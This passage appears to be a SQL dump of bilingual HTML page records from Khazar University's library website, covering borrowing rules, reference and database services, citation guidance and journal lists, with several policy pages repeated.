items total for graduate students</li><li>10 items for undergraduate students</li><li>For the following loan period</li></ul><p></p><p style=\"text-align:justify\">One academic semester: course textbooks and manuals for under the condition of sufficient copies, except the cases when the title is reserved by another user.</p><p style=\"text-align:justify\">30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user. :</p><h2 style=\"text-align:justify\">Staff members&nbsp;</h2><p style=\"text-align:justify\">Staff members may loan up to 5 items for the regular period of 15 days under the condition of sufficient copies availability and excluding non-circulated items.</p><h2 style=\"text-align:justify\">Non-Circulated Items</h2><p style=\"text-align:justify\">The following types of resources are non-circulated and can not be checked out:</p><p style=\"text-align:justify\"></p><ul><li>Reserved titles, required readings and current course materials</li><li>Single-copy titles</li><li>Last copy of title</li><li>Reference title</li><li>Periodicals and loose-leaf-publications</li><li>Original and non-printed materials, such as CD-ROMs, videos, audio-tapes, etc.</li></ul><p></p><p style=\"text-align:justify\">Circulation desk staff can explain specific renewal policies.</p><h2 style=\"text-align:justify\">Library Notices</h2><p style=\"text-align:justify\">Circulation Services sends notices to patrons alerting them of overdue books. The notice will be sent to local address you have provided the University. All borrowers may now elect to have library notices sent to an email address. Users can register for this service at any circulation desk.</p><p style=\"text-align:justify\">Overdue notices are sent for books that you have borrowed and are now more than 28 days overdue. Faculty level borrowers may renew items by checking the titles and forwarding the notice to any library listed on the back of the notice.</p><h2 style=\"text-align:justify\">Overdue Materials</h2><p style=\"text-align:justify\">LIC borrowing privileges will be suspended when individuals keep materials for 50 days or more beyond their due date. Privileges will be restored only after the items have been returned.</p><h2 style=\"text-align:justify\">Lost or Damage Books and Fines</h2><p style=\"text-align:justify\">Lost and/or damaged books should be replaced with the same/similar titles or repaired. The replacement fee for any lost and/or damaged items is estimated at 3-10 times the original price, but is the subject of special decision.</p><h2 style=\"text-align:justify\">Address Changed</h2><p style=\"text-align:justify\">It is each library user\'s responsibility to inform the LIC of changes in their local address.</p><p style=\"text-align:justify\">The Library can only temporarily change addresses.</p>'),(5076,2953,'az','Circulation Policy','Circulation Policy','<h2>Access&nbsp;</h2><p>There are a number of mechanisms for access provided for those who would like to use materials from the Library and Information Center, which are outlined below. There are also policies to these facilities.</p><p>The library collections are available to all individuals for use on Readings Rooms and for borrowing from Circulation Desk.</p><p>Khazar University faculty, staff, and students are eligible to borrow materials from University Library collections.</p><p>Visitings may also be eligible for borrowing privileges through Readings Rooms.</p><h2>Rules of Membership</h2><p>Khazar University students, Full-time and Part-time Staff are automatically eligible for full membership in the LIC. To start using the reading rooms, collections, and services they must first register at the Circulation Desk.</p><h2>REQUIRING MATERIALS:</h2><br><ul><li>Passport or personal ID</li><li>Student ID</li><li>1 copy of image</li></ul><br><p>The Internal membership expires at the end of the academic year.</p><p>Every new academic year LIC conducts membership renewal. Registration is free of charge.</p><p>External users are welcome to become members of the LIC. Their membership expires at the end of academic year and has to be renewed.</p><h2>Loan Periods</h2><p>Loan periods and number of items to be borrowed differ for Faculty Members, Students and Staff.&nbsp;</p><p>Single-copy fiction-title can be borrowed at the discretion of the LIC senior staff members, but for a period of 7 days only. A user can borrow not more 3-fiction titles at once.</p><h2>Faculty members&nbsp;</h2><p>Faculty members may loan up to 15 items total for the following loan period: One academic semester: Course textbooks and manuals</p><p>30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user.</p><p>Part –time faculty members have to bring recommendation letter from appropriate department to the circulation desk</p><h2>Students&nbsp;</h2><p>Students may loan to</p><br><ul><li>7 items total for graduate students</li><li>10 items for undergraduate students</li><li>For the following loan period</li></ul><br><p>One academic semester: course textbooks and manuals for under the condition of sufficient copies, except the cases when the title is reserved by another user.</p><p>30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user. :</p><h2>Staff members&nbsp;</h2><p>Staff members may loan up to 5 items for the regular period of 15 days under the condition of sufficient copies availability and excluding non-circulated items.</p><h2>Non-Circulated Items</h2><p>The following types of resources are non-circulated and can not be checked out:</p><br><ul><li>Reserved titles, required readings and current course materials</li><li>Single-copy titles</li><li>Last copy of title</li><li>Reference title</li><li>Periodicals and loose-leaf-publications</li><li>Original and non-printed materials, such as CD-ROMs, videos, audio-tapes, etc.</li></ul><br><p>Circulation desk staff can explain specific renewal policies.</p><h2>Library Notices</h2><p>Circulation Services sends notices to patrons alerting them of overdue books. The notice will be sent to local address you have provided the University. All borrowers may now elect to have library notices sent to an email address. Users can register for this service at any circulation desk.</p><p>Overdue notices are sent for books that you have borrowed and are now more than 28 days overdue. Faculty level borrowers may renew items by checking the titles and forwarding the notice to any library listed on the back of the notice.</p><h2>Overdue Materials</h2><p>LIC borrowing privileges will be suspended when individuals keep materials for 50 days or more beyond their due date. Privileges will be restored only after the items have been returned.</p><h2>Lost or Damage Books and Fines</h2><p>Lost and/or damaged books should be replaced with the same/similar titles or repaired. The replacement fee for any lost and/or damaged items is estimated at 3-10 times the original price, but is the subject of special decision.</p><h2>Address Changed</h2><p>It is each library user\'s responsibility to inform the LIC of changes in their local address.</p><p>The Library can only temporarily change addresses.</p>'),(5078,2954,'en','Circulation Policy','Circulation Policy','<h2>Access&nbsp;</h2><p>There are a number of mechanisms for access provided for those who would like to use materials from the Library and Information Center, which are outlined below. There are also policies to these facilities.</p><p>The library collections are available to all individuals for use on Readings Rooms and for borrowing from Circulation Desk.</p><p>Khazar University faculty, staff, and students are eligible to borrow materials from University Library collections.</p><p>Visitings may also be eligible for borrowing privileges through Readings Rooms.</p><h2>Rules of Membership</h2><p>Khazar University students, Full-time and Part-time Staff are automatically eligible for full membership in the LIC. To start using the reading rooms, collections, and services they must first register at the Circulation Desk.</p><h2>REQUIRING MATERIALS:</h2><br><ul><li>Passport or personal ID</li><li>Student ID</li><li>1 copy of image</li></ul><br><p>The Internal membership expires at the end of the academic year.</p><p>Every new academic year LIC conducts membership renewal. Registration is free of charge.</p><p>External users are welcome to become members of the LIC. Their membership expires at the end of academic year and has to be renewed.</p><h2>Loan Periods</h2><p>Loan periods and number of items to be borrowed differ for Faculty Members, Students and Staff.&nbsp;</p><p>Single-copy fiction-title can be borrowed at the discretion of the LIC senior staff members, but for a period of 7 days only. A user can borrow not more 3-fiction titles at once.</p><h2>Faculty members&nbsp;</h2><p>Faculty members may loan up to 15 items total for the following loan period: One academic semester: Course textbooks and manuals</p><p>30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user.</p><p>Part –time faculty members have to bring recommendation letter from appropriate department to the circulation desk</p><h2>Students&nbsp;</h2><p>Students may loan to</p><br><ul><li>7 items total for graduate students</li><li>10 items for undergraduate students</li><li>For the following loan period</li></ul><br><p>One academic semester: course textbooks and manuals for under the condition of sufficient copies, except the cases when the title is reserved by another user.</p><p>30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user. :</p><h2>Staff members&nbsp;</h2><p>Staff members may loan up to 5 items for the regular period of 15 days under the condition of sufficient copies availability and excluding non-circulated items.</p><h2>Non-Circulated Items</h2><p>The following types of resources are non-circulated and can not be checked out:</p><br><ul><li>Reserved titles, required readings and current course materials</li><li>Single-copy titles</li><li>Last copy of title</li><li>Reference title</li><li>Periodicals and loose-leaf-publications</li><li>Original and non-printed materials, such as CD-ROMs, videos, audio-tapes, etc.</li></ul><br><p>Circulation desk staff can explain specific renewal policies.</p><h2>Library Notices</h2><p>Circulation Services sends notices to patrons alerting them of overdue books. The notice will be sent to local address you have provided the University. All borrowers may now elect to have library notices sent to an email address. Users can register for this service at any circulation desk.</p><p>Overdue notices are sent for books that you have borrowed and are now more than 28 days overdue. Faculty level borrowers may renew items by checking the titles and forwarding the notice to any library listed on the back of the notice.</p><h2>Overdue Materials</h2><p>LIC borrowing privileges will be suspended when individuals keep materials for 50 days or more beyond their due date. Privileges will be restored only after the items have been returned.</p><h2>Lost or Damage Books and Fines</h2><p>Lost and/or damaged books should be replaced with the same/similar titles or repaired. The replacement fee for any lost and/or damaged items is estimated at 3-10 times the original price, but is the subject of special decision.</p><h2>Address Changed</h2><p>It is each library user\'s responsibility to inform the LIC of changes in their local address.</p><p>The Library can only temporarily change addresses.</p>'),(5079,2955,'az','Circulation Policy','Circulation Policy','<h2>Access&nbsp;</h2><p>There are a number of mechanisms for access provided for those who would like to use materials from the Library and Information Center, which are outlined below. There are also policies to these facilities.</p><p>The library collections are available to all individuals for use on Readings Rooms and for borrowing from Circulation Desk.</p><p>Khazar University faculty, staff, and students are eligible to borrow materials from University Library collections.</p><p>Visitings may also be eligible for borrowing privileges through Readings Rooms.</p><h2>Rules of Membership</h2><p>Khazar University students, Full-time and Part-time Staff are automatically eligible for full membership in the LIC. To start using the reading rooms, collections, and services they must first register at the Circulation Desk.</p><h2>REQUIRING MATERIALS:</h2><br><ul><li>Passport or personal ID</li><li>Student ID</li><li>1 copy of image</li></ul><br><p>The Internal membership expires at the end of the academic year.</p><p>Every new academic year LIC conducts membership renewal. Registration is free of charge.</p><p>External users are welcome to become members of the LIC. Their membership expires at the end of academic year and has to be renewed.</p><h2>Loan Periods</h2><p>Loan periods and number of items to be borrowed differ for Faculty Members, Students and Staff.&nbsp;</p><p>Single-copy fiction-title can be borrowed at the discretion of the LIC senior staff members, but for a period of 7 days only. A user can borrow not more 3-fiction titles at once.</p><h2>Faculty members&nbsp;</h2><p>Faculty members may loan up to 15 items total for the following loan period: One academic semester: Course textbooks and manuals</p><p>30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user.</p><p>Part –time faculty members have to bring recommendation letter from appropriate department to the circulation desk</p><h2>Students&nbsp;</h2><p>Students may loan to</p><br><ul><li>7 items total for graduate students</li><li>10 items for undergraduate students</li><li>For the following loan period</li></ul><br><p>One academic semester: course textbooks and manuals for under the condition of sufficient copies, except the cases when the title is reserved by another user.</p><p>30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user. :</p><h2>Staff members&nbsp;</h2><p>Staff members may loan up to 5 items for the regular period of 15 days under the condition of sufficient copies availability and excluding non-circulated items.</p><h2>Non-Circulated Items</h2><p>The following types of resources are non-circulated and can not be checked out:</p><br><ul><li>Reserved titles, required readings and current course materials</li><li>Single-copy titles</li><li>Last copy of title</li><li>Reference title</li><li>Periodicals and loose-leaf-publications</li><li>Original and non-printed materials, such as CD-ROMs, videos, audio-tapes, etc.</li></ul><br><p>Circulation desk staff can explain specific renewal policies.</p><h2>Library Notices</h2><p>Circulation Services sends notices to patrons alerting them of overdue books. The notice will be sent to local address you have provided the University. All borrowers may now elect to have library notices sent to an email address. Users can register for this service at any circulation desk.</p><p>Overdue notices are sent for books that you have borrowed and are now more than 28 days overdue. Faculty level borrowers may renew items by checking the titles and forwarding the notice to any library listed on the back of the notice.</p><h2>Overdue Materials</h2><p>LIC borrowing privileges will be suspended when individuals keep materials for 50 days or more beyond their due date. Privileges will be restored only after the items have been returned.</p><h2>Lost or Damage Books and Fines</h2><p>Lost and/or damaged books should be replaced with the same/similar titles or repaired. The replacement fee for any lost and/or damaged items is estimated at 3-10 times the original price, but is the subject of special decision.</p><h2>Address Changed</h2><p>It is each library user\'s responsibility to inform the LIC of changes in their local address.</p><p>The Library can only temporarily change addresses.</p>'),(5080,2955,'en','Circulation Policy','Circulation Policy','<h2>Access&nbsp;</h2><p>There are a number of mechanisms for access provided for those who would like to use materials from the Library and Information Center, which are outlined below. There are also policies to these facilities.</p><p>The library collections are available to all individuals for use on Readings Rooms and for borrowing from Circulation Desk.</p><p>Khazar University faculty, staff, and students are eligible to borrow materials from University Library collections.</p><p>Visitings may also be eligible for borrowing privileges through Readings Rooms.</p><h2>Rules of Membership</h2><p>Khazar University students, Full-time and Part-time Staff are automatically eligible for full membership in the LIC. To start using the reading rooms, collections, and services they must first register at the Circulation Desk.</p><h2>REQUIRING MATERIALS:</h2><br><ul><li>Passport or personal ID</li><li>Student ID</li><li>1 copy of image</li></ul><br><p>The Internal membership expires at the end of the academic year.</p><p>Every new academic year LIC conducts membership renewal. Registration is free of charge.</p><p>External users are welcome to become members of the LIC. Their membership expires at the end of academic year and has to be renewed.</p><h2>Loan Periods</h2><p>Loan periods and number of items to be borrowed differ for Faculty Members, Students and Staff.&nbsp;</p><p>Single-copy fiction-title can be borrowed at the discretion of the LIC senior staff members, but for a period of 7 days only. A user can borrow not more 3-fiction titles at once.</p><h2>Faculty members&nbsp;</h2><p>Faculty members may loan up to 15 items total for the following loan period: One academic semester: Course textbooks and manuals</p><p>30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user.</p><p>Part –time faculty members have to bring recommendation letter from appropriate department to the circulation desk</p><h2>Students&nbsp;</h2><p>Students may loan to</p><br><ul><li>7 items total for graduate students</li><li>10 items for undergraduate students</li><li>For the following loan period</li></ul><br><p>One academic semester: course textbooks and manuals for under the condition of sufficient copies, except the cases when the title is reserved by another user.</p><p>30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user. :</p><h2>Staff members&nbsp;</h2><p>Staff members may loan up to 5 items for the regular period of 15 days under the condition of sufficient copies availability and excluding non-circulated items.</p><h2>Non-Circulated Items</h2><p>The following types of resources are non-circulated and can not be checked out:</p><br><ul><li>Reserved titles, required readings and current course materials</li><li>Single-copy titles</li><li>Last copy of title</li><li>Reference title</li><li>Periodicals and loose-leaf-publications</li><li>Original and non-printed materials, such as CD-ROMs, videos, audio-tapes, etc.</li></ul><br><p>Circulation desk staff can explain specific renewal policies.</p><h2>Library Notices</h2><p>Circulation Services sends notices to patrons alerting them of overdue books. The notice will be sent to local address you have provided the University. All borrowers may now elect to have library notices sent to an email address. Users can register for this service at any circulation desk.</p><p>Overdue notices are sent for books that you have borrowed and are now more than 28 days overdue. Faculty level borrowers may renew items by checking the titles and forwarding the notice to any library listed on the back of the notice.</p><h2>Overdue Materials</h2><p>LIC borrowing privileges will be suspended when individuals keep materials for 50 days or more beyond their due date. Privileges will be restored only after the items have been returned.</p><h2>Lost or Damage Books and Fines</h2><p>Lost and/or damaged books should be replaced with the same/similar titles or repaired. The replacement fee for any lost and/or damaged items is estimated at 3-10 times the original price, but is the subject of special decision.</p><h2>Address Changed</h2><p>It is each library user\'s responsibility to inform the LIC of changes in their local address.</p><p>The Library can only temporarily change addresses.</p>'),(5081,2957,'en','Reference Services','Reference Services','<p style=\"text-align:justify\">The major service point is Reference, an e-mail address for the exclusive use of Khazar University faculty. Reference can help with any inquiry about the library, including reference, acquisitions and circulation inquiries. It is the first and only point of contact you need to know in the library.&nbsp;</p><p style=\"text-align:justify\">Librarians would be happy to provide research instruction for Khazar University  students. We can visit your class or arrange special sessions in the library to teach our students how to conduct research in specific areas.</p>'),(5082,2957,'az','Reference Services','Reference Services','<p style=\"text-align:justify\">Əsas xidmət vasitəsi, Xəzər Universitetinin xüsusi istifadəsi üçün e-mail ünvanı olan məlumat-sorğu xidmətidir.&nbsp;</p><p style=\"text-align:justify\">Məlumat-sorğu xidməti kitabxanaya dair istənilən sual barəsində sizə kömək edə bilər. Bu, kitabxanada bilməyinizə ehtiyac olan&nbsp; ilk ve yeganə əlaqə vasitəsidir.</p>'),(5083,2958,'az','Əsas Məlumat Bazaları','Əsas Məlumat Bazaları','<p style=\"text-align:justify\">Kitabxana tədqiqatınızda faydalı ola biləcək&nbsp; çoxsaylı xidmətlər və məlumat bazalarına qoşulur. Əsas abunələr<strong>&nbsp;</strong>Xəzər Universiteti KİM-in&nbsp;<a href=\"http://www.khazar.org/az/menus/1306/melumat_bazalari\">məlumat bazaları siyahısında</a>&nbsp;qeyd olunub.</p><p>Universitet fakültəsi üçün&nbsp;ən faydalı məlumat bazalarından biri də&nbsp;<a href=\"http://search.ebscohost.com/\">EBSCO</a>-dur. EBSCO öz orijinal formatında<strong>&nbsp;</strong>(gözə xoş görünməyən, çətin oxunan komputer çap məhsullarından başqa) jurnal məqalələrinin PDF&nbsp; nüsxəsini&nbsp; təmin edir. Məqalələr açar sözə əsasən axtarıla bilər.</p><p style=\"text-align:justify\">EBSCO-u internet vasitəsi ilə evdən də istifadəsi mümkündür. Daha ətraflı məlumat üçün kitabxana məlumat-sorğu mütəxəssisləri ilə əlaqə saxlayın. Video və CD fayllar xidməti, spesifik sahələrə məxsus kitablardakı mülahizələrin audio yazılarına girişi təmin edir. &nbsp;Video/CD faylardan onlayn olmaqla istifadə oluna bilər.</p>'),(5084,2958,'en','Major Databases','Major Databases','<p style=\"text-align:justify\">The library subscribes to numerous online databases and services that may be of use in your research. The major subscriptions are listed on the University Library\'s&nbsp;<a href=\"http://www.khazar.org/en/menus/1306/databases\">database list.</a>&nbsp;</p><p style=\"text-align:justify\">One of the most useful databases to university faculty is&nbsp;<a href=\"http://search.ebscohost.com/\">EBSCO</a>.&nbsp;EBSCO&nbsp;provides PDF copies of journal articles in their original format (instead of unsightly, hard-to-read computer printouts). Articles can be retrieved by citation or searched by keyword. Coverage generally begins with the first volume and extends to a moving wall of three to six years from the most recent issue.</p><p style=\"text-align:justify\">EBSCO can be accessed from home offices through the Internet. Contact&nbsp;library reference specialist&nbsp;for more information. Video Case Files and CD Case Files is a service that provides access to audio recordings of opinions found in case books. Audio files are arranged by course or by casebook. Video files/CD Files of selected trials and hearings are available for viewing online.&nbsp;</p>'),(5085,2959,'en','Current Awareness','Current Awareness','<p style=\"text-align:justify\">The Khazar University Library facilitates current awareness of scholarly development through several means.</p><p style=\"text-align:justify\">Khazar University LIC subscribes to several&nbsp;<a href=\"http://www.ssrn.com/\" target=\"blank\">SSRN</a>&nbsp;networks:<strong>&nbsp;Accounting Research Network, Cognitive Science Network</strong><strong>,</strong><strong>&nbsp;Humanities Research Network Corporate Governance Network,&nbsp;</strong>&nbsp;<strong>Corporate Governance Network</strong><strong>,</strong><strong>&nbsp;Entrepreneurship Research &amp; Policy Network</strong><strong>,</strong><strong>&nbsp;Financial Economics Network, &nbsp;Financial Economics Network</strong><strong>,&nbsp;</strong><strong>Information Systems &amp; eBusiness Network, Legal Scholarship Network, Social Insurance Research Network,&nbsp; Management Research Network</strong><strong>,&nbsp;</strong><strong>Political Science Network</strong><strong>.&nbsp;</strong><strong>&nbsp;</strong>Each of these networks has numerous e-journals providing abstracts of working papers and other current scholarship.</p><p style=\"text-align:justify\">LIC also provides abstracts or contents of new journal issues in other disciplines. Several faculty members receive abstracts of articles in a dozen major economics journals, and a few get updates of new philosophy journal issues.&nbsp;</p><p style=\"text-align:justify\">Bear in mind that&nbsp;Google&nbsp;has services which can automatically run saved searches on a regular basis. These services (<a href=\"http://www.google.com/alerts\">Google Alerts</a>) are powerful tools for monitoring developments in areas of interest.</p>'),(5086,2959,'az','Cari Məlumatlılıq','Cari Məlumatlılıq','<p style=\"text-align:justify\">Xəzər Universiteti KİM elmi inkişafa dair cari məlumatlılığı müxtəlif vasitələrlə artırır.</p><p style=\"text-align:justify\">KİM müxtəlif&nbsp;&nbsp;<a href=\"http://www.ssrn.com/\" target=\"blank\">SSRN</a>&nbsp;şəbəkələrinə qoşulur:<strong>&nbsp;Accounting Research Network, Cognitive Science Network, Humanities Research Network Corporate Governance Network,&nbsp;</strong><strong>Corporate Governance Network,Entrepreneurship Research &amp; Policy Network, Financial Economics Network, &nbsp;Financial Economics Network, &nbsp;Information Systems &amp; eBusiness Network, Legal Scholarship Network, Social Insurance Research Network,&nbsp; Management Research Network, Political Science Network.&nbsp;</strong>Bu şəbəkələrin hər biri tədqiqat işlərinin xülasəsi və digər cari çalışmalarla təchiz olunan zəngin e-jurnallara malikdir.</p><p style=\"text-align:justify\">Unutmayın ki,&nbsp;<a href=\"http://www.google.com/alerts\">Google</a>-un avtomatik olaraq peşəkar əsasda araşdırmaları göstərən xidmətləri var. Bu xidmətlər (Google Alerts) maraq dairələrinə uyğun &nbsp;sahələrdə yenilikləri, inkişafı izləmə üçün güclü&nbsp;<strong></strong>vasitələrdəndir.</p>'),(5087,2960,'en','Acquisitions','Acquisitions','<p style=\"text-align:justify\">We are always interested in hearing what materials are needed to support your research. Purchasing these will help you and will strengthen our collection. Contact LIC staff with your recommendations for the library collection.</p><p style=\"text-align:justify\">We also welcome faculty gifts to the library, including casebooks, hornbooks, texts, and journals.&nbsp;</p>'),(5088,2960,'az','Acquisitions','Acquisitions','<p style=\"text-align:justify\">Biz həmişə sizin təlim və tədqiqatınızı dəstəkləmək üçün hansı materiallara ehtiyac duyulduğunu eşitməyə maraqlı olmuşuq. Bu materialları əldə etmək həm sizə kömək edəcək, həm də kolleksiyamızı genişləndirəcək. Kitabaxana kolleksiyasına dair tövsiyələriniz barəsində KİM əməkdaşları ilə əlaqə saxlayın.</p><p style=\"text-align:justify\">Biz eyni zamanda kitablar (dərslik və s.) və jurnallar da daxil olmaqla fakültənin kitabxanaya olan hədiyyələrini&nbsp;məmnunluqla qarşılayırıq.</p>'),(5089,2961,'en','Circulation and Routing','Circulation and Routing','<p style=\"text-align:justify\">Every faculty member is registered upon arrival for borrowing privileges at the Khazar University LIC and its branches. Most books can be checked out to faculty for an indefinite loan period, although they are subject to recall if needed by another patron.</p><p style=\"text-align:justify\">LIC delivers material to faculty offices daily, including both requested items and new issues of regularly routed journals and newsletters. If there are law reviews or other materials you would like to see on a regular basis, send a request to be added to a routing list.&nbsp;</p>'),(5090,2961,'az','Circulation and Routing','Circulation and Routing','<p>Every faculty member is registered upon arrival for borrowing privileges at the Khazar University LIC and its branches. Most books can be checked out to faculty for an indefinite loan period, although they are subject to recall if needed by another patron.</p><p>LIC delivers material to faculty offices daily, including both requested items and new issues of regularly routed journals and newsletters. If there are law reviews or other materials you would like to see on a regular basis, send a request to be added to a routing list. Popular journals are routed to numerous people, so speedy turnaround of routed material is appreciated by all.</p>'),(5091,2962,'en','Course Reserves','Course Reserves','<p>Each semester we ask you if there are books or other materials you would like to put on reserve for your students, and send you (if applicable) a list of items previously on reserve for each course. Please contact LIC if you have any questions about reserve procedures or policies.</p>'),(5092,2962,'az','Ehtiyat Tədbirləri','Ehtiyat Tədbirləri','<p style=\"text-align:justify\">Hər semestr biz fakültədən öz tələbələri üçün ayırmaq istədikləri kitablar və ya başqa materiallar olub-olmadığını soruşuruq və hər bir kurs üçün əvvəlcədən onların siyahısını göndərmələrini (əgər mümkündürsə) istəyirik. Bununla əlaqədar hər hansı bir sualınız varsa, zəhmət olmasa&nbsp; KİM ilə əlaqə saxlayın.</p>'),(5093,2963,'en','Research Services','Research Services','<p style=\"text-align:justify\">Citations provide basic descriptive information about an article, book, web page, audio or video recording, or other information source.&nbsp;Sources should be cited in order to avoid plagiarism and to support an argument or conclusion.Citations should include enough information to allow interested parties to access the same source.</p><p style=\"text-align:justify\"><a href=\"http://www.khazar.org/en/menus/1352/style_manuals\">Style manuals</a>&nbsp;show you how to cite your sources consistently and what information to include when citing. Some of the style manuals used most frequently&nbsp;APA, MLA, and Chicago/Turabian.&nbsp;Check to see if your professor requires the use of a specific style.</p>'),(5094,2963,'az','Tədqiqat Xidmətləri','Tədqiqat Xidmətləri','<p style=\"text-align:justify\">Citations provide basic descriptive information about an article, book, web page, audio or video recording, or other information source.&nbsp;Sources should be cited in order to avoid plagiarism and to support an argument or conclusion.Citations should include enough information to allow interested parties to access the same source.</p><p style=\"text-align:justify\"><a href=\"http://www.khazar.org/az/menus/1352/style_manuals\">Style manuals</a>&nbsp;show you how to cite your sources consistently and what information to include when citing. Some of the style manuals used most frequently&nbsp;APA, MLA, andChicago/Turabian.&nbsp;Check to see if your professor requires the use of a specific style.</p>'),(5095,2964,'en','Recommended Journal Lists','Recommended Journal Lists','<h2><strong>Azerbaijani Higher Attestation Commission Journal List by\r\nSpecialization:</strong></h2>\r\n<br><ul><li><a href=\"http://library.khazar.org/files/Biology.pdf\"><strong>Biology</strong></a></li><li><a href=\"http://library.khazar.org/files/Chemistry.pdf\"><strong>Chemistry</strong></a></li><li><a href=\"http://library.khazar.org/files/Economics.pdf\"><strong>Economics</strong></a></li><li><a href=\"http://library.khazar.org/files/Education.pdf\"><strong>Education</strong></a></li><li><a href=\"http://library.khazar.org/files/Geography.pdf\"><strong>Geography</strong></a></li><li><a href=\"http://library.khazar.org/files/History.pdf\"><strong>History</strong></a></li><li><a href=\"http://library.khazar.org/files/Math.pdf\"><strong>Mathematics</strong></a></li><li><a href=\"http://library.khazar.org/files/Philology.pdf\"><strong>Philology</strong></a></li><li><a href=\"http://library.khazar.org/files/Philosophy.pdf\"><strong>Philosophy</strong></a></li><li><a href=\"http://library.khazar.org/files/Physics.pdf\"><strong>Physics</strong></a></li><li><a href=\"http://library.khazar.org/files/Technics.pdf\"><strong>Technics</strong></a></li></ul><br>\r\n<h2><strong>Russian Higher Attestation Commission Journal List by Specialization:</strong></h2>\r\n<br><ul><li><a href=\"http://library.khazar.org/files/%D0%A5%D0%B8%D0%BC%D0%B8%D1%8F.pdf\"><strong>Chemistry</strong></a></li><li><a href=\"http://library.khazar.org/files/%D0%AD%D0%BA%D0%BE%D0%BD%D0%BE%D0%BC%D0%B8%D0%BA%D0%B0.pdf\"><strong>Economics</strong></a></li><li><a href=\"http://library.khazar.org/files/%D0%98%D1%81%D1%82%D0%BE%D1%80%D0%B8%D1%8F.pdf\"><strong>History</strong></a></li><li><a href=\"http://library.khazar.org/files/M%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0.pdf\"><strong>Mathematics</strong></a></li><li><a href=\"http://library.khazar.org/files/%D0%9D%D0%B5%D1%84%D1%82%D1%8C_%D0%B8%20_%D0%B3%D0%B0%D0%B7.pdf\"><strong>Oil and Gas</strong></a></li><li><a href=\"http://library.khazar.org/files/%D0%A4%D0%B8%D0%B7%D0%B8%D0%BA%D0%B0.pdf\"><strong>Physics</strong></a></li><li><a href=\"http://library.khazar.org/files/%D0%A2%D0%B5%D1%85%D0%BD%D0%B8%D0%BA%D0%B0(1).pdf\"><strong>Technics</strong></a></li></ul><br>\r\n<h2><strong>Turkish Higher Attestation Commission Journal List</strong>&nbsp;<strong>by\r\nSpecialization:</strong></h2>\r\n<br><ul><li><strong><a href=\"http://library.khazar.org/files/Education_Turkish.pdf\">Education</a></strong></li><li><strong><a href=\"http://library.khazar.org/files/Engineering_Turkish.pdf\">Engineering</a></strong></li><li><strong><a href=\"http://library.khazar.org/files/History_Turkish.pdf\">History</a></strong></li><li><strong><a href=\"http://library.khazar.org/files/Medicine_Turkish.pdf\">Medicine</a></strong></li><li><strong><a href=\"http://library.khazar.org/files/Natural_Sciences.pdf\">Natural Science</a></strong></li></ul><br>\r\n<h2><strong>Springer Journal&nbsp;List by Specialization:</strong></h2>\r\n<br><ul><li><a href=\"http://library.khazar.org/files/Springer_Journals_Business.pdf\"><strong>Business</strong></a></li><li><a href=\"http://library.khazar.org/files/Journals_in_Computer_Science.pdf\"><strong>Computer Science</strong></a></li><li><a href=\"http://library.khazar.org/files/Journals%20in%20Economics.pdf\"><strong>Economics</strong></a></li><li><a href=\"http://library.khazar.org/files/Journals%20in%20Education.pdf\"><strong>Education and Language</strong></a></li><li><a href=\"http://library.khazar.org/files/Journals_in_Environmental_Sciences(1).pdf\"><strong>Environmental Science</strong></a></li><li><a href=\"http://library.khazar.org/files/Journals_in_Learning.pdf\"><strong>Learning</strong></a></li><li><strong><a href=\"http://library.khazar.org/files/Journals_in_Mathematics.pdf\">Mathematics</a></strong>&nbsp;</li></ul>'),(5097,2965,'az','Style Manuals','Style Manuals','<h2 style=\"text-align:justify\"><strong>Ultimate Citation\r\nReference:</strong>&nbsp;</h2><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">\r\nWhether you\'re a professional writer, a student, or just writing a post for\r\nyour personal blog, being able to cite and reference correctly is a critical\r\nskill.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">To help you out, we\'ve\r\nput together a guide, covering all the major citation styles you can choose\r\nfrom, how they cite in-text, what their bibliography/reference list looks like,\r\nand additional resources you can use to get your citations just right.&nbsp;</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><a href=\"http://www.whoishostingthis.com/resources/citations/\"><strong>How to Add Citations to Your Work</strong></a>&nbsp; &nbsp;&nbsp;</p><h2 style=\"text-align:justify\">APA Style:  </h2>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">APA (American Psychological Association) style is most commonly used to cite sources within the social sciences.&nbsp; These resources<strong>&nbsp;</strong>&nbsp;offer examples for the general format of APA research papers, in-text citations, endnotes/footnotes, and reference pages:</p>\r\n<p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><a href=\"http://www.apastyle.org/learn/faqs/index.aspx\" target=\"_blank\" title=\"APA Style Frequently Asked Questions from APA\"><strong>APA Style Frequently Asked Questions from APA</strong></a></p>\r\n<h2 style=\"text-align:justify\"><strong>MLA Style:<br></strong></h2><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong><a href=\"http://www.apastyle.org/learn/tutorials/basics-tutorial.aspx\" target=\"_blank\" title=\"APA Basics Online Tutorial from APA\">APA Basics Online Tutorial from APA</a></strong></p><p style=\"text-align: justify;\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">MLA (Modern Language\r\nAssociation) style is most commonly used to cite sources within the arts and\r\nhumanities.&nbsp; These resources, revised according to the&nbsp;<strong>7th edition</strong>&nbsp;of\r\nthe&nbsp;<strong>MLA Handbook for Writers of Research Papers</strong>, offer examples for\r\nthe general format of MLA research papers, in-text citations,\r\nendnotes/footnotes, and reference pages:</p>\r\n<p style=\"text-align: justify;\" 